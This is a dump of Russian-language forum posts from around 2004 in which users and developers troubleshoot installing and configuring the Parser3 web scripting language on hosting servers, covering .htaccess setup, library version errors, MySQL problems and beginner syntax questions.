/home/abx/work/parser-3.1.1/src/main/libmain.a(execute.o): In function `VHash::get_element(String const &, Value &, bool)':\
/usr/home/abx/work/parser-3.1.1/src/main/../types/pa_vhash.h(.text+0x48b2): undefined reference to `fmod'\
и еще десятка два подобных ошибок.\
Куда копать дальше? Tnx!"
"25586","Пытаюсь установить парсер на новом хостинге:\
\
Ставлю парсер 3.0.0.7 -> работает.\
ставлю версию 3.1.1 -> Ошибка 500.\
\
parser3.log при этом остаётся пустым.\
\
Пробовал safe mode и grpunlim и егорофф'ские версии - ничего не идёт.\
\
Закачивал как binary.\
\
читал вот http://www.parser.ru/forum/?id=11992, но не знаю, на сколько это подходит - логи Апача, смотреть не могу :-(\
\
Может есть идеи?\
Буду очень благодарен.\
\
C уважением,\
\
Molotoff"
"25587","@name[]\
$result[$form:name]\
$result\
\
Работает, но лишь если я помещаю\
этот метод в index.html\
и, соответственно, в следующем\
вложенном index.html это не работает.\
А если в auto.p, то Парсер его не\
видит..."
"25588","У меня при обращению к локальному wap сайту, выскакивает окошко, предлагающее сохранить файл, что может быть?\
\
Вот примеры моих .htaccess  :\
\
[code]\
DirectoryIndex index.wml\
\
AddHandler parser-handler .html .p3 .wml\
Action parsed-wml /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
и auto.p (пробывал разные варианты) :\
\
@auto[]\
\
$response:content-type[text/wml]\
\
\
#$request:charset[windows-1251]\
\
#$response:charset[windows-1251]\
\
#$response:content-type.value[text/vnd.wap.wml]\
[/code]"
"25590","/auto.p (определяем значение для всех дочерних директорий @name[])\
/index.html (если определяем здесь @name[], то парсер берёт значение из текущего файла)\
/directory/auto.p (определяем значение для всех дочерних директорий @name[], если не определено берётся из родительской директории)\
/directory/index.html (если определяем здесь @name[], то парсер берёт значение из текущего файла)\
\
продолжить можно самостоятельно"
"25591","Сорьки невниматьльно прочиталь\
надо вызывать не $result, а ^name[].\
Если внимательно прочитаете доку, то выясние истинное значение переменной $result"
"25592","У меня, как кто-то выразился дизайноплагиатора ;)\
http://asha-city.ru/chat/\
если надо могу выложить"
"25593","А вы в базе храните сообщения или в файлах?\
Вы правда исходники выложить можете? Буду благодарен!"
"25594","в базе"
"25596","http://asha-city.ru/chat/chat.zip"
"25597","Пока ничего нет, кроме смутного желания реализовать софтовый архив на парсере :) Сейчас сижу-прикидываю на какие сложности с этим можно натолкнуться, единственное что пришло в голову - импорт данных из pad.xml Т.ч. проблема пока умозрительная..."
"25598","В ответ на очередную мою просьбу сделать charset-конфиг, Victor Fedoseev разродился утилиткой для их создания.\
\
http://www.innerdive.com/~vvf/charsetgen.zip экспортирует любую из установленных в вашей системе (NT4/2k/XP or later) кодовых страниц в файл charset'а для Parser3.\
\
Вопросы, пожелания, предложения, багрепорты и добровольные пожертвования шлите Victor Fedoseev <vvf_ru@mail.ru>"
"25599","настроил auto.p, закачал драйвер для базы данных, парсер стоит в поддомене, вот мой .htaccess :\
[code]\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg|count)$\"> \
  Order allow,deny \
  Deny from all \
</Files>\
\
CharsetDisable On\
[/code]\
\
лог файл не пишет и core тоже нет"
"25603","я слышал что RedHat больше небудут выпускать.\
правда это или нет?"
"25606","сравните количество людей на этих проектах, и вы всё поймёте.\
я специально сделал CVS общедоступным, чтобы кому нужно, мог собрать.\
\
соответственно, если кому-то нужны nightly builds, пусть сделает/поделится с общественностью, мы для этого всё дали."
"25607","я сам собирал не под самую последнюю 1.3.x успешно.\
разбираться пока самому нет времени.\
будем надеяться, что это удастся сделать корреспонденту."
"25609","ошибка думать, что ваш браузер поддерживает WAP сайты.\
нужно пользоваться отдельным WAP браузером.\
[некоторые встраиваются в MSIE, так, что открываются и из него]\
\
кто ищет, тот найдёт."
"25610","http://fedora.redhat.com/about/faq/"
"25611","определите функцию?\
\
трудно помочь, undefined."
"25614","можно сделать автоматическое запаковывание и выкладывание в ZIP в папочку на сайте всех файлов в CVS на еженедельной основе?\
\
Скачать хоть 100Mb - не проблема, проблема в том, что CVS из корпоративной сети не работает... :-(\
\
[code]@abugakov-01 ~\
$ cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
(Logging in to anonymous@cvs.parser.ru)\
CVS password:\
cvs [login aborted]: connect to cvs.parser.ru:2401 failed: Connection refused[/code]"
"25615","положу его в cron на машине parser.ru\
\
будет дело :)"
"25619","Это что же получается, на MAC'e вообще парсером пользоваться нельзя :( или для него просто нет джентльменского набора."
"25621","Я прочитал, но ничего нужного мне не нашел.\
Не могли бы вы уточнить какой раздел faq'а необходимо просмотреть?"
"25622","[quote]У меня на *nix вылезает ошибка веб-сервера Apache «Internal Server Error»(...)\
Посмотрите в лог ошибок веб-сервера, а также suexec.log (если такой есть)[/quote]\
Я уже написал, что к логам Апача доступа нет. Я конечно могу попросить админа, но не по 20 раз в день. В моих логах, есть только запись типа: \
\"ххх.хх.ххх.ххх - - [26/Jan/2004:22:42:12 +0100] \"GET /cgi-bin/parser3.cgi HTTP/1.1\" 500 - \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"\"\
\
<EDIT 27.01.04>\
достал кусок errorlog'а:\
parser3.cgi: /lib/libc.so.6: version `GLIBC_2.2.4' not found (required by parser3.cgi)\
[Tue Jan 27 23:04:25 2004] [error] [client 80.134.86.86] Premature end of script headers: /kunden/mysite.com/webseiten/cgi-bin/parser3.cgi\
</edit>\
\
\
\
[quote]Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).[/quote]\
Может я что-то неправильно понял, но если работает версия 3.0.0.7 для Linux то версия 3.х.х.х для Linux должна работать с теми же правами? Закачивал и то и другое раза 3-4. Права кстати тоже уже все перепробовал.\
\
\
[quote]Так-же причиной может быть то, что вы «закачали» исполняемый файл на сервер не в режиме binary. [/quote]\
Как уже писал: закачал и то и другое как binary.\
\
[quote]\
Другой причиной может являться опечатка в .htaccess файле, (...)\
Парсер все-таки не назначен обработчиком ваших документов.\
Для проверки функционирования парсера наберите в адресной строке броузера: http://ваш_сайт/cgi-bin/parser3.cgi[/quote]\
.htaccess не изменял.\
Версия 3.0.0.7:\
\
http://мой_сайт/cgi-bin/parser3.cgi --> Parser/3.0.0.7\
\
Версия 3.1.1\
\
http://мой_сайт/cgi-bin/parser3.cgi --> Ошибка 500.\
\
И вообще, мой вопрос такой идиотский, что не заслуживает внимания? Я же предварительно написал, что читал форум, думаете я не видел там ссылок на FAQ?\
Этот самый FAQ я лично читаю по 3 раза, прежде чем написать вопрос в форум. Очевидно я просто слишком тупой, что-бы его понять :-(\
\
С уважением,\
\
Molotoff"
"25623","Ок, вернусь чуть позднее с конкретикой :)"
"25624","Мой пост, где я описывал свой опыт установки Парсера на хостинге net.ru удалили за то, что я написал в нем «никакая собака»?\
\
Я пять дней потратил на то, чтобы заставить Парсер работать на net.ru (не буду писать здесть почему) и я прекрасно понимаю, что проблемы могут быть не только потому, что пользователь не читал документацию или не искал в форуме. Поэтому и постарался ответить подробно.\
\
Что именно не понравилось модератору?\
\
Спасибо!\
\
Конструктивное предложение: я могу прислать Парсер с настройками,\
который у меня сейчас работает. Его можно выложить в разделе «прислали пользователи». И все желающие Парсер на net.ru смогут брать его оттуда, распаковывать в корневую директорию и получать работающий Парсер (по задумке)."
"25625","а такую вещь на parser.ru поставить можно?\
\
http://viewcvs.sourceforge.net/\
\
(тем более, что можно будет тогда пользоваться http://cvsgrab.sourceforge.net/ и не мудрить...)"
"25626","Поэтому редирект был на ссылку http:///\
Скажите где можно снять запрет на показ переменных окружения?"
"25627","лично мне уже надоело вытаскивать информацию.\
\
из ваших сообщений так и не стало понятно какая версия парсера у вас используется и на каком веб сервере он установлен.\
\
P.S. в любом случае: core это плохо и ПАФ хочет чтобы их не было, но в 2241 раз выпытывать что делается/что получается/параметры системы - ему похоже тоже не интересно."
"25628","Если устроит работа без базы данных - могу прислать бинарики Парсера."
"25631","Кроме изложеных выше проблем с версией 3.1.1 есть проблема с версией 3.0.0.7, т.е. той которая отвечает на вызов parser3.cgi \"Parser/3.0.0007\".\
\
При вызыве _test.html(из дистрибутива parser) Выдается:\
[quote]\
parser already configured\
conf\
\
/kunden/mysite.com/webseiten/cgi-bin/auto.p(1)\
exception.type=parser.runtime\
[/quote]\
\
файл auto.p существует на сервере только в одном экземпляре. @conf больше нигде нет, равно как и ^use.\
Вообще, кроме файлов парсера, ОДНОГО auto.p, .htaccess и _test.html на сервере больше ничего нет.\
\
Я проследил Вашу дискуссию с vad вот здесь http://www.parser.ru/forum/?id=24506\
\
\
У меня аналогичная ситуация. \
Написал скрипт, предложенный Вами:\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
pwd\
set\
echo done\
\
Загрузил на хостинг, назвал его parser3.cgi.\
Вот что получил при вызове _test.html:\
[quote]\
/kunden/mysite.com/webseiten/cgi-bin\
BASH=/bin/sh\
BASH_VERSINFO=([0]=\"2\" [1]=\"05\" [2]=\"0\" [3]=\"1\" [4]=\"release\" [5]=\"i686-pc-linux-gnu\")\
BASH_VERSION=$'2.05.0(1)-release'\
DIRSTACK=()\
DOCROOT=/kunden/mysite.com/webseiten\
DOCUMENT_ROOT=/kunden/mysite.com/webseiten\
DOC_ROOT=/kunden/mysite.com/webseiten\
EUID=27500\
GATEWAY_INTERFACE=CGI/1.1\
GROUPS=()\
HOSTNAME=chili.ispgateway.de\
HOSTTYPE=i686\
HTTP_ACCEPT=$'*/*'\
HTTP_ACCEPT_ENCODING=$'gzip, deflate'\
HTTP_ACCEPT_LANGUAGE=de\
HTTP_CONNECTION=Keep-Alive\
HTTP_COOKIE=test=ABC\
HTTP_HOST=www.mysite.com\
HTTP_USER_AGENT=$'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'\
IFS=$' \\t\\n'\
MACHTYPE=i686-pc-linux-gnu\
OPTERR=1\
OPTIND=1\
OSTYPE=linux-gnu\
PATH=/usr/local/bin:/usr/bin:/bin\
PATH_INFO=/cgi-bin/_test.html\
PATH_TRANSLATED=/kunden/mysite.com/webseiten/cgi-bin/_test.html\
PDFLIBRESOURCE=/usr/local/fonts/pdflib.upr\
PIPESTATUS=([0]=\"0\")\
POSIXLY_CORRECT=y\
PPID=7130\
PS4=$'+ '\
PWD=/kunden/mysite.com/webseiten/cgi-bin\
QUERY_STRING=\
REDIRECT_STATUS=200\
REDIRECT_URL=/cgi-bin/_test.html\
REMOTE_ADDR=XX.XX.XX.XX\
REMOTE_PORT=3512\
REQUEST_METHOD=GET\
REQUEST_URI=/cgi-bin/_test.html\
SCRIPT_FILENAME=/kunden/mysite.com/webseiten/cgi-bin/parser3.cgi\
SCRIPT_NAME=/cgi-bin/parser3.cgi\
SCRIPT_URI=http://www.mysite.com/cgi-bin/_test.html\
SCRIPT_URL=/cgi-bin/_test.html\
SERVER_ADDR=XX.XX.XXX.XX\
SERVER_ADMIN=webmaster@www.mysite.com\
SERVER_NAME=www.mysite.com\
SERVER_PORT=80\
SERVER_PROTOCOL=HTTP/1.1\
SERVER_SOFTWARE=$'Apache/df-exts 1.1 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.6k AuthPG/1.3'\
SHELL=/bin/sh\
SHELLOPTS=braceexpand:hashall:interactive-comments:posix\
SHLVL=1\
SWFFONTPATH=/usr/lib/libswf/fonts/\
TERM=dumb\
UID=27500\
UNIQUE_ID=QBajoD5DyEEAABvav7A\
_=pwd\
done\
[/quote]\
\
Может у Вас есть подозрение, где собака порылась?\
\
С уважением,\
\
Molotoff"
"25632","Растолкуйте мне пожалуйста..\
Посылаю запрос к yandex.xml ^file::load.\
Если запускаю запрос парсером на локальном компе, ответ от яндекса приходит, всё ок.\
А если тот же код запускаю на сайте - приходит ошибка парсера\
'403' invalid HTTP response status [http.status]"
"25633","Все как он просил в треде http://www.parser.ru/forum/?id=13046\
...\
Я более менее разобрался с ошибкой и понял что возникновение данного файла не связано с редиректом. Файл скорее всего возникает из-за ошибки out of memory.\
Какой конкретно процесс ее вызывает я еще не разобрался. Но думаю что работа с запросом к таблице большого размера.\
...\
версия парсера 3.1.1 (также использовалась 3.0.7) под freebsd4.8\
апач русский 1.3.29\
Ошибка не возникала на старом сервере с linux redhat, парсер соответсвенно под линукс 3.0.7 (версию апача не знаю)\
субд на новом сервере MySQL 3.23.58, на старом помню только что 3.23..."
"25634","Почему удалили мои ответы? Я человеку всё расписал: где что брать, какие могут быть сложности. В чём дело-то?"
"25639","parser-3.1.1 не собирается с gdome-0.8.1. Как исправить?\
\
Making all in main\
source='pa_common.C' object='pa_common.o' libtool=no  depfile='.deps/pa_common.Po' tmpdepfile='.deps/pa_common.TPo'  depmode=gcc /bin/sh ../../depcomp  c++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl -I/usr/local/include/glib12 -I/usr/local/include -I/usr/local/include/libgdome -I/usr/local/include/libxml2     -O -pipe -c -o pa_common.o `test -f 'pa_common.C' || echo './'`pa_common.C\
In file included from ../../src/include/pa_charsets.h:17,\
                 from pa_common.C:15:\
../../src/include/pa_charset.h: In method `GdomeDOMString_auto_ptr::GdomeDOMString_auto_ptr(xmlChar *)':\
../../src/include/pa_charset.h:181: implicit declaration of function `int gdome_str_mkref_xml(...)'\
../../src/include/pa_charset.h:181: assignment to `GdomeDOMString *' from `int' lacks a cast\
*** Error code 1"
"25640","И все-таки у хостера это не срабатывает. \
\
Я делал как:\
\
в .htaccess прописываю\
SetEnv CGI_PARSER_CONFIG /home/e/<mydomen>/public_html/conf/auto.p\
(путь /home/e/mydomen взят у хостера :-)\
\
Почему то это работает на моей локальной машине и не работает у хостера.\
Я смотрел на конфигурационный файл хостера там не указана переменная $$CLASS_PATH. Как мне ее определить все же?..\
\
Я пытался определить  в корневом auto.p метод \
\
@auto[]\
$CLASS_PATH[^table::create{path\
/dots\
/lib/pluging\
/lib/classes\
/lib/utils\
/ru]\
\
^use[file1.p]\
^use[file2.p]\
^use[file3.p]\
\
И опять... в локале все работает, а у хостера нет. Имеет ли значение версия Парсер у хостера? у него стоит 3.0.8.\
\
Что посоветуете?"
"25642","[code]\
$CLASS_PATH[^table::create{path\
/dots\
/lib/pluging\
/lib/classes\
/lib/utils\
/ru]\
[/code]\
(Нет закрывающей фигурной скобки.)"
"25643","Ну неужели никто не использует этот файл?\
Или он какой-то строго секретный?\
\
С уважением,\
\
Molotoff"
"25645","Скобка есть :-).. сорри, при копировании торопился"
"25646","Пишет:\
[quote]\
SMTP error from remote mailer after RCPT TO:<misha@design.ru>:\
    host relay.rinet.ru [195.54.192.35]: 553 5.3.0 <misha@design.ru>... Rejected - No responsibles in your network\
[/quote]\
\
А вообще почему он не должен работать? У меня на хостинге RedHat Linux. Было\
бы здорово, если Вы смогли бы прислать мне этот загадочный файл.\
Спасибо!\
\
С уважением,\
Molotoff"
"25648","При попытке загрузить файл с сервера\
$file[^file::load[binary;http://www.site.ru/picture.gif]]\
парсер ругается следующим образом:\
\
Unhandled Exception (Debug)\
does not start with http://\
\
Я так понял что путь не может начинаться с http:// \
Но почему? И как все-таки заставить файл грузиться\
Подскажите, пожалуйста, в чем я не прав."
"25650","...но ничего решающего мою проблему не нашел :(\
Нашел что можно грузить с помощью внешней программы, но это не подходит, да и зачем если парсер может грузить файлы с сервера (по крайней мере так написано в доке).\
Так подскажите как исправить...я подозреваю что фигню какую-нибудь неучел или пропустил :(\
Ну или ткните носом в пост где уже отвечалось на подобный вопрос (сам я такой не нашел :( )"
"25651","...данная фича (загрузка с http) повяилась не сразу, а вы не приводите информацию об используемом вами парсере."
"25652","У меня дома стоИт Денвер с Парсером 3.1.1\
На сервере Парсер той же версии, но как CGI скрипт.\
Не работает ни там, ни там. Выдает одинаковое сообщение об ошибке, указанное выше"
"25653","попробуй:\
[code]\
$file[^file::load[text;http://www.parser.ru/]] \
Программное обеспечение сервера: $file.SERVER \
<hr> \
<pre>$file.text</pre> \
[/code]\
\
на Денвере (Parser 3.1.1) и на серваке - работает, проверил"
"25654","пример из доки работает и в Денвере и на сервере. А вот в режиме binary не грузит никак. Пробовал указывать разные сервера. Все ссылки были на существеющие файлы"
"25655","Подскажите пожалуйста неучу,\
можно ли как-то решить данную проблему..\
\
Пример:\
Я оставляю в гостевой книге подряд\
два сообщения, и если нажимаю после\
этого кнопку \"Назад\" в броузере, то\
возвращаюсь к тому месту, где я \
пока еще внес только одно сообщение...,\
хотелось бы при нажатии данной кнопки\
просто выходить из гостевой...\
\
Ломаю голову, но пока тщетно..."
"25656","А то на мои вопросы вроде только он ответить может...\
\
С уважением,\
\
Molotoff"
"25658","я делаю чат, мне надо , чтобы он выдавал 20 последних сообщений, и чтобы самое последнее сообщение было снизу, у меня никак не получается это делать, это код выдает самое последнее сообщение с верху:\
[code]\
^connect[$connect-string]{ \
$chat[^table::sql{\
        SELECT\
                time,\
                name,\
				mess\
        FROM\
                mess\
		ORDER BY\
                id DESC\
		LIMIT 20\
}]\
}\
^chat.menu{\
\
<font color=\"#C0C0C0\">$chat.time</font>&nbsp^;&nbsp^; <strong>[$chat.name]</strong>: <em>$chat.mess</em><br>\
\
}\
[/code]"
"25660","При простом поиске командой\
$tab[^table::sql{SELECT id,header FROM tabname WHERE header like '%x%'}]\
возникает ошибка \"Got error 28 from table handler\"\
здесь http://www.parser.ru/forum/?id=20862 Александр Петросян пишет что разрушена база данных.\
Делаю проверку $chk[^table::sql{check table $tab.name EXTENDED}] получаю\
check status OK\
Не поверил.\
Решил сделать починку $rep[^table::sql{repair table $tab.name EXTENDED}] и сразу же вываливается куча ошибок:\
repair error 28 when writing to datafile - repair status Operation failed или\
repair error 28 for record at pos 852 - repair status Operation failed \
Причем если перезапускать починку несколько раз, то ошибка периодически либо исчезает, либо появляется снова.\
Да и ошибка \"Got error 28 from table handler\" возникает не при всех словах поиска, при некоторых она срабатывает нормально.\
parser 3.1.1 MySQL 3.23.58"
"25663","Будет ли доступен общественности?"
"25664","в изначальном вопросе их не предоставили.\
вы видите ваш error_log, мы нет.\
\
читаем приведённый вами кусок:\
[quote]\
parser3.cgi: /lib/libc.so.6: version `GLIBC_2.2.4' not found (required by parser3.cgi)\
[/quote]\
\
переводим на русский: \
[code]\
система запустила parser3.cgi, и он сказал:\
что использует библиотеку /lib/libc.so.6, которая сказала:\
что она не является библиотекой версии GLIBC_2.2.4\
которая нужна программе parser3.cgi\
[/code]\
\
вывод: \
собранный нами бинарник под Linux RedHat 7.2 не работатет на вашей системе.\
\
какая у неё версия?"
"25665","при обработке [b]такого[/b] запроса, parser действует строго согласно документации:\
\
* сначала считывается конфиг из каталога, где лежит сам parser3.cgi, /cgi-bin/parser3.conf\
* затем из каталога, рядом с запрошенным документом… из /cgi-bin/parser3.conf\
\
отсюда двойной вызов @conf.\
\
вообще говоря, в cgi-bin лежат скрипты. никто и никогда не кладёт туда .html документы, это противоречит общепринятой практике — parser такое не поддерживает, и поддерживать не будет.\
\
вывод: переложите ваш _test.html в корень вашего веб-пространства, проблемы не будет."
"25666","именно за это.\
всякие выпады в чью либо сторону быстро подпадают под кнопку [Delete].\
\
проект Parser и сообщество вокруг него развиваются на основе взаимного уважения.\
\
на сайте есть раздел хостинги, в котором слева написано, что нужно сделать, чтобы поделиться опытом, если есть такое желание и добрая воля.\
\
на сайте нет раздела, где написано, что нужно раздражаться и кидаться кирпичами в форуме."
"25667","которого у машины cvs.parser.ru нет.\
\
настраивать иначе чем сейчас: нужны силы и время, которых нет ни у меня ни у админа.\
\
в своё время я потратил час на поиски продукта, который сможет без доступа к файликам в cvs репозитарии, что, теоретически, вполне возможно, однако не нашёл такового."
"25668","parser перед смертью пытается сделать запись в журнал ошибок.\
\
иногда даже на это памяти у системы не хватает, хотя в коде специально используются функции, которые, по-хорошему, [b]ещё[/b] расходовать её не должны.\
\
даже если записи в журнале ошибок нет,\
если ваш core файл был создан по сигналу Abort(номер 6), это обычно означает что памяти не хватило.\
\
такая команда на консоли вашего unix сервера скажет вам номер сигнала, приведшего к появлению core файла:\
[code]\
$ gdb parser3.cgi parser3.cgi.core\
[/code]\
\
а такая команда затем скажет, примерно где произошла ошибка:\
[code]\
$ gdb parser3.cgi parser3.cgi.core\
gdb> bt\
[/code]"
"25669","Постараюсь отвечать более сдержанно!\
\
Искренне надеюсь, что я никого не обидел.\
(все же смайлик я поставил в конце, вроде как пошутить так хотел:)"
"25670","вас интересует раздел, описывающий \"response status\""
"25672","приведите реальный код.\
\
не машите руками, возьмите редактор,\
создайте новый пустой файл, \"bug.html\"\
\
запишите в него кусок кода, когда/если сломается, сделайте copy/paste всего ответа сервера."
"25673","он спит или работает \
и отвечает/ругается/нажимает [delete]\
только по мере возможности."
"25674","Я тут решил \"облегчить\" MySQL4 и поудалять \"лишнее\" - в частности, расковырял mysql/share/charsets/Index и повыкидывал отттуда \"лишние\" строчки. Более того, я имел глупость поправить в этом файле нумерацию. После этого половина таблиц работала, половина - нет, причём именно с такой ошибкой.\
Лекарство - сохраните каталог data и попробуйте перенести его в другую копию mysql, поставленную с нуля."
"25676","но в другом.\
в CVS|HEAD та проблема уже исправлена.\
\
без её исправления нормально пользоваться load[binary;http:// нельзя в любом случае.\
\
временное решение: wget."
"25678","Спасибо. =)\
Извиняюсь за глупый вопрос."
"25679","в скором времени доделаю подсветку parser для vim\
практически немного осталось работы."
"25680","Просто тут без Вас - как без рук.\
\
С уважением,\
\
Molotoff"
"25681","На старом хостинге, эта конструкция однако работала -- в этом и причина моего недоумения.\
Но так как старый хостинг вообще много чем отличался от других ;-) -- меня это больше не удивляет.\
\
С уважением,\
Molotoff"
"25682","Как получить атрибут id всех узлов article  с помощью Парсера?\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<article id=\"1\">\
	<date>24/01/04</date>\
	<title>Урок 6. Работаем с XML</title>\
	<body>\
	<para>Представьте, что вам позволено придумывать любые теги с любыми атрибутами. То есть вы сами можете определять, что означает тот или иной выдуманный вами тег или атрибут.	</para>\
	<para>Такой код будет содержать данные, …</para>\
	</body>\
	<links>\
		<link href=\"http://parser.ru/docs/lang/xdocclass.htm\">Класс xdoc</link>\
		<link href=\"http://parser.ru/docs/lang/xnodeclass.htm\">Класс xnode</link>\
	</links>\
</article>\
[/code]"
"25683","Ну вот, щас опять ругать будут. Нашел уже ответ!"
"25684","_test.html благодаря Вашей помощи работает.\
\
Единственная проблема:\
\
[quote]\
driver failed to initialize client library '/kunden/mysite.com/webseiten/cgi-bin/lib/libmysqlclient.so', can not open the dynamic link module \
/kunden/mysite.com/webseiten/cgi-bin/lib/libparser3mysql.so \
[/quote]\
\
Может этот файл также собран под слишком «современной» версией? Или я заблуждаюсь и дело в том, что он должен как-то быть задекларирован относительно MySQL (У меня на хостинге этот файл не используется).\
Логи пусты. Файл я получил от Misha v.3. Все возможные права перепробовал.\
Версия MySQL: 3.23.57\
\
C уважением,\
\
Molotoff"
"25685","если есть, то может спросите у вашего support-а путь к нему?\
\
с трудом верится, что установлен mysql и нет этой библиотеки.\
\
это самый правильный способ."
"25686","чтобы потом люди могли найти."
"25688","Хостер сообщил, что версия GLIBC 2.1.3 и вообще посоветовал собрать бинарник как статический, так как они могут сделать update библиотек не сообщая об этом хостящимся на сервере.\
Возможно ли такая сборка в случае Парсера?\
\
Насчёт версии Linux молчит, сказал только, что он у них какой-то модифицированный --> наверное военная тайна ;-)\
\
С уважением,\
\
Molotoff"
"25689","Вообще, такое впечатление, что большинство хостеров ведёт себя как мастера в Закарпатье:\
- А можно что-бы дверь была зелёной?\
- Зеленой? Та ви панi здурили!\
\
:-)\
\
С уважением,\
\
Molotoff"
"25690","у кого есть возможность, помогите страждущему?"
"25692","когда убираешь, он выводит самые первые 20 записей :("
"25694","Треды, где есть ответ на мой вопрос:\
http://www.parser.ru/forum/?id=13305\
http://www.parser.ru/forum/?id=24589\
http://www.parser.ru/forum/?id=5229\
А особенно мне этот нравится :о)\
http://www.parser.ru/forum/?id=13308\
PAF, это ваши слова вдохновили меня признать, что я стормозил."
"25696","Прошу прощения за незнание...\
Но почему же на форуме данного сайта не возникает такой проблемы?"
"25697","Резервная копия форума для \"The Bat! v2.01.3\".\
почти за год, c 16.03.03 по 29.01.04.\
12072 сообщения.\
\
http://www.granini.ru/p3forum.tbk (4.2 МБ)"
"25698","^men.sort($men.age)[desc]\
Насколько я понимаю правильный пример выглядит так:\
^men.sort{$men.age}[desc]"
"25700","Я не понил, что делать по данной цитате из учебника... \
Урок 1: ...Теперь открываем код страницы, где все это должно появиться (например, index.html), и говорим: «Вставить меню навигации». На Parser это называется «вызов метода» и пишется так:\
\
^navigation[]...\""
"25702","Столкнулся с такой проблемой, приведенный ниже код работает, но только в случае отсутствия ; после &nbsp. Так должно быть и это особенности синтаксиса, или нет. Документацию подробно не изучил, но навскидку упоминаний о ; не нашел. С парсером знакомство недавнее, но уже его люблю, несмотря на все странности ;-)\
\
@DrawVMenu[]\
#       загрузка вертикального меню для текущей страницы\
        $vsections[^hsections.select($hsections.parent eq $sec_name)]\
        ^vsections.menu{\
        <tr>\
                <td width=\"24\" bgcolor=\"4087BE\">&nbsp</td>\
                <td align=\"right\" valign=\"top\"></td>\
        </tr>\
        <tr>\
                <td width=\"24\" bgcolor=\"4087BE\">&nbsp</td>\
                <td align=\"right\" valign=\"top\"><img src=${config:dir.theme}design/${sec_name}/${vsections.img}></td>\
        </tr>\
        }"
"25703","Нужно писать «^;» в тех случаях, когда нужно просто вывести символ «;». «;» используется в качестве разделителя параметров в описании методов и при их вызове. В вашем случае методу menu нужно передавать только один параметр, а написав «;» вы «разбили» этот параметр на два — возникла ошибка!"
"25704","Вам это должно помочь - http://www.ozon.ru/?context=detail&id=943812\
(это я про \"не понил\"). Дальше должно пойти легче."
"25705","Поделитесь пожалуйста, если есть у кого."
"25706","Желательно что-бы и эту libmysqlclient.so туда тоже вставить, или как-то там ещё.\
\
Короче буду благодарен за любую информация (кроме RTFM ;-)\
\
С уважением,\
\
Molotoff"
"25708","в тексте много примеров, количество перейдёт в качество."
"25709","есть раздел /news/\
через .htaccess:\
[code]\
RewriteRule ^([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/$ /nws/?y=$1&m=$2&d=$3\
RewriteRule ^([0-9]{4})/([0-9]{1,2})/$ /nws/?y=$1&m=$2\
[/code]\
выдается строка в броузер:\
[code]www.coder.net/news/2004/1/16/[/code]\
но если убрать последний слеш - выдает 404(у меня в корне прописан мой ErrorDocument404)\
как обойти?"
"25711","всем просьба, на такие письма не отвечать.\
\
это развращает людей."
"25712","Почему не отображается меню которое я создал в файле (sections.cfg):\
section_id	name 	uri 	\
1	Главная 	/ 	\
2	Новости 	/news/ 	\
3	Контакты 	/contacts/ 	\
4	Цены 	/price/ 	\
5	Ваше мнение 	/gbook/ \
\
И куда нужно вставлять (^navigation[])?"
"25713","[quote]И куда нужно вставлять (^navigation[])?[/quote]"
"25714","Чн то я тебя не понил...Sanja"
"25715","похоже что-то бьется при скачке.\
в ближайшее время что-нибудь придумаю..."
"25716","...глупые вопросы встречаются часто (особенно у меня). Но судя по вопросу \"куда вставлять\", когда вам четко написано (на русском языке!), что в index.html, мне кажется (причем очень сильно) что вы не то что не знакомы с программированием (вообще), но образ мысли ваш не подходит для этого занятия изначально.\
Как может что-то появиться, если вы этого не написали? (Извиняюсь за изобилие скобок, но не удержался(LOL))"
"25718","Чтобы такого не возникало, нужно иметь\
вывод сообщений и форму для их внесения\
на разных страницах..?\
\
И еще раз прошу объяснить новичку –\
что значит \"не кешировать страницы\"?"
"25719","Вы че все меня не поняли??? Я прошу помочь мне с одной проблемой!!! Вот она: Я создал таблицу в файле (sections.cfg), затем я написал код в файле (auto.p), который указан в описании, но куда надо вписыват код: ^navigation[] в файле index.html?"
"25720","...[b]Теперь в любом месте на любой странице мы можем[/b]\
[b]написать заветное ^navigation[], и Parser вставит[/b]\
[b]туда наше меню.[/b]...."
"25721","Дело в том, что я вставляю это заветное ^navigation[], но увы в документе index.html отображается не таблица, а именно то самое заветное в виде текста..."
"25723","Включаю сервер и захожу на сайт (www.[мой сайт].ru),т.е. папка где находится мой сайт (\\home\\мой сайт\\www\\index.html)..."
"25724","Я так понимаю у вас \"Денвер\",\
а вот файлик [b].htaccess[/b] вы,\
наверно, добавить забыли?"
"25725","Скажите, а где, как, куда и что нужно в нем изминить?"
"25726","Файл .htaccess здесь не причем (в Денвере он вообще не нужен)..\
Может все-таки что-то в доке упустили – прочтите еще раз повнимательней..."
"25727","Вроде все правильно сделал:\
1)Создал таблицу в файле \"sections.cfg\"\
2)Вставил код в файл \"auto.p\" как указано в инструкции\
3)Все это проделал в папке \"\\home\\my_site.ru\\www\\\
4)В пустой файл \"index.html\"вставил код \"^navigation[]\"\
НО МЕНЮ НЕ ОТОБРАЖАЕТСЯ, лиш код который вставил..\
Может какие компоненты нужны? Или как?"
"25728","Если вы пользуетесь Денвером, то создайте в папке где лежат файлы auto.p и index.html файл .htaccess со следующим содержанием:\
\
#Начало файла .htaccess \
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
#Конец файла .htaccess \
\
P.S. Учите русский язык и у людей будет больше желания помогать вам!"
"25729","Выражаю вам огромную благодарность!!!"
